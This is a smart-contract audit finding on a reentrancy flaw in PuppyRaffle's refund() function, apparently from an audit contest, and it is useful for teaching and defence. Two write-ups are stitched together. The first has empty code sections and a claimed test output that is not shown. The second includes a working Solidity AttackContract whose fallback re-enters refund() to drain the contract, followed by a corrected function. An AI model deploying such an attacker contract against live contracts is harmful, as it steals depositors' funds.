Normally, a refund function should mark the ticket as spent and only then pay out, so each ticket can be refunded at most once. However, in the current implementation the ETH transfer happens first and the state update second, so a reentering caller is still seen as an active, un-refunded player.
The vulnerability exists in PuppyRaffle.sol#L96-L105.
Root Cause: Reentrancy — checks-effects-interactions (CEI) violation on an ETH payout.
Vulnerable Code:
Why This Is Exploitable:
OpenZeppelin 3.4's Address.sendValue performs a low-level .call that forwards all remaining gas. When the caller is a contract, its receive() fallback executes inside sendValue — at a point where players[playerIndex] still holds the attacker's address. Both require statements therefore pass again, paying out another entranceFee. The loop repeats until the contract balance drops below one ticket. The contract has no reentrancy guard anywhere.
Note: this finding was internally assessed as Critical (direct drain of 100% of custodied funds); submitted as High per CodeHawks' severity tiers.
Likelihood:
No special role or timing needed — any participant can execute this at any time, for the cost of one entrance fee.
The attack is fully deterministic and succeeds in a single transaction.
Impact:
Theft of 100% of the raffle's custodied funds (every active player's entrance fee), not just the attacker's own ticket.
Direct theft of user funds held at rest by the protocol.
Run: forge test --match-test testPoC_RefundReentrancyDrainsRaffle -vv
Output (actual run):
Alice, Bob, Carol and Dave each enter the raffle for 1 ETH; the contract custodies 4 ETH. The attacker deploys a contract whose receive() fallback calls refund(playerIndex) again while the raffle still holds at least one entranceFee.
The attacker's contract enters the raffle (1 ETH, balance now 5 ETH) and calls refund(4). On every callback the slot is still populated, so another 1 ETH is paid out — 5 payouts in total.
The attacker staked 1 ETH and ends with 5 ETH; the raffle balance is 0. Alice, Bob, Carol and Dave lost their deposits.
Update state before the external call (checks-effects-interactions). With the slot cleared first, any reentered call reverts on PuppyRaffle: Only the player can refund / Player already refunded, limiting each ticket to exactly one refund. Optionally add OpenZeppelin's ReentrancyGuard as defense-in-depth.
Proposed Fix:
References:
## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.
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